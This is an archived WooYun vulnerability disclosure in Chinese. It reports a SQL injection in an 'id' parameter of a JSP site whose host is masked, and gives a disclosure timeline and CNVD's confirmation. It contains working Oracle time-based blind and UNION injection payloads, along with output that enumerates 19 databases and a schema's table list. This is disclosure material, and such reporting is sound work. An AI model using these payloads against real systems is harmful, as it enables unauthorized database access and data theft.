乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-17: 细节已通知厂商并且等待厂商处理中 2015-08-19: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开 2015-08-29: 细节向核心白帽子及相关领域专家公开 2015-09-08: 细节向普通白帽子公开 2015-09-18: 细节向实习白帽子公开 2015-10-03: 细节向公众公开
1、
http://**.**.**.**/Website/ywzn01.jsp?id=900
2、
Parameter: id (GET) Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: id=900 AND 2288=DBMS_PIPE.RECEIVE_MESSAGE(CHR(86)||CHR(81)||CHR(84)||CHR(88),5) Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: id=-1977 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHR(113)||CHR(107)||CHR(122)||CHR(98)||CHR(113)||CHR(98)||CHR(113)||CHR(102)||CHR(84)||CHR(87)||CHR(87)||CHR(117)||CHR(97)||CHR(105)||CHR(83)||CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113),NULL,NULL,NULL FROM DUAL-- ---web application technology: JSPback-end DBMS: Oracle
3、19个数据库
available databases [19]:[*] APEX_030200[*] APPQOSSYS[*] CTXSYS[*] DBSNMP[*] EXFSYS[*] FLOWS_FILES[*] MDSYS[*] OLAPSYS[*] ORDDATA[*] ORDSYS[*] OUTLN[*] OWBSYS[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] TYWEB[*] WMSYS[*] XDB
4、
Database: ORDDATA[73 tables]+-------------------------------+| ORDDCM_ANON_ACTION_TYPES || ORDDCM_ANON_ATTRS || ORDDCM_ANON_ATTRS_TMP || ORDDCM_ANON_ATTRS_WRK || ORDDCM_ANON_RULES || ORDDCM_ANON_RULES_TMP || ORDDCM_ANON_RULES_WRK || ORDDCM_ANON_RULE_TYPES || ORDDCM_CT_ACTION || ORDDCM_CT_ACTION_TMP || ORDDCM_CT_ACTION_WRK || ORDDCM_CT_DAREFS || ORDDCM_CT_DAREFS_TMP || ORDDCM_CT_DAREFS_WRK || ORDDCM_CT_LOCATORPATHS || ORDDCM_CT_LOCATORPATHS_TMP || ORDDCM_CT_LOCATORPATHS_WRK || ORDDCM_CT_MACRO_DEP || ORDDCM_CT_MACRO_DEP_WRK || ORDDCM_CT_MACRO_PAR || ORDDCM_CT_MACRO_PAR_WRK || ORDDCM_CT_PRED || ORDDCM_CT_PRED_OPRD || ORDDCM_CT_PRED_OPRD_TMP || ORDDCM_CT_PRED_OPRD_WRK || ORDDCM_CT_PRED_PAR || ORDDCM_CT_PRED_PAR_TMP || ORDDCM_CT_PRED_PAR_WRK || ORDDCM_CT_PRED_SET || ORDDCM_CT_PRED_SET_TMP || ORDDCM_CT_PRED_SET_WRK || ORDDCM_CT_PRED_TMP || ORDDCM_CT_PRED_WRK || ORDDCM_CT_VLD_MSG || ORDDCM_DATA_MODEL || ORDDCM_DATA_MODEL_WRK || ORDDCM_DICT_ATTRS || ORDDCM_DICT_ATTRS_TMP || ORDDCM_DICT_ATTRS_WRK || ORDDCM_DOCS || ORDDCM_DOCS_TMP || ORDDCM_DOCS_WRK || ORDDCM_DOC_REFS || ORDDCM_DOC_REFS_TMP || ORDDCM_DOC_REFS_WRK || ORDDCM_DOC_TYPES || ORDDCM_INSTALL_DOCS || ORDDCM_INTERNAL_TAGS || ORDDCM_MAPPED_PATHS || ORDDCM_MAPPED_PATHS_TMP || ORDDCM_MAPPED_PATHS_WRK || ORDDCM_MAPPING_DOCS || ORDDCM_MAPPING_DOCS_TMP || ORDDCM_MAPPING_DOCS_WRK || ORDDCM_PREFS_DEF_VALUES_TAB || ORDDCM_PREFS_LOOKUP || ORDDCM_PREFS_VALID_VALUES_TAB || ORDDCM_PRV_ATTRS || ORDDCM_PRV_ATTRS_TMP || ORDDCM_PRV_ATTRS_WRK || ORDDCM_RT_PREF_PARAMS || ORDDCM_RT_PREF_PARAMS_TMP || ORDDCM_RT_PREF_PARAMS_WRK || ORDDCM_STD_ATTRS || ORDDCM_STD_ATTRS_TMP || ORDDCM_STD_ATTRS_WRK || ORDDCM_STORED_TAGS || ORDDCM_STORED_TAGS_TMP || ORDDCM_STORED_TAGS_WRK || ORDDCM_UID_DEFS || ORDDCM_UID_DEFS_TMP || ORDDCM_UID_DEFS_WRK || ORDDCM_VR_DT_MAP |+-------------------------------+
没动数据
危害等级:高
漏洞Rank:10
确认时间:2015-08-19 10:17
CNVD确认并复现所述情况,已经转由CNCERT下发给山西分中心,由其后续协调网站管理单位处置。
暂无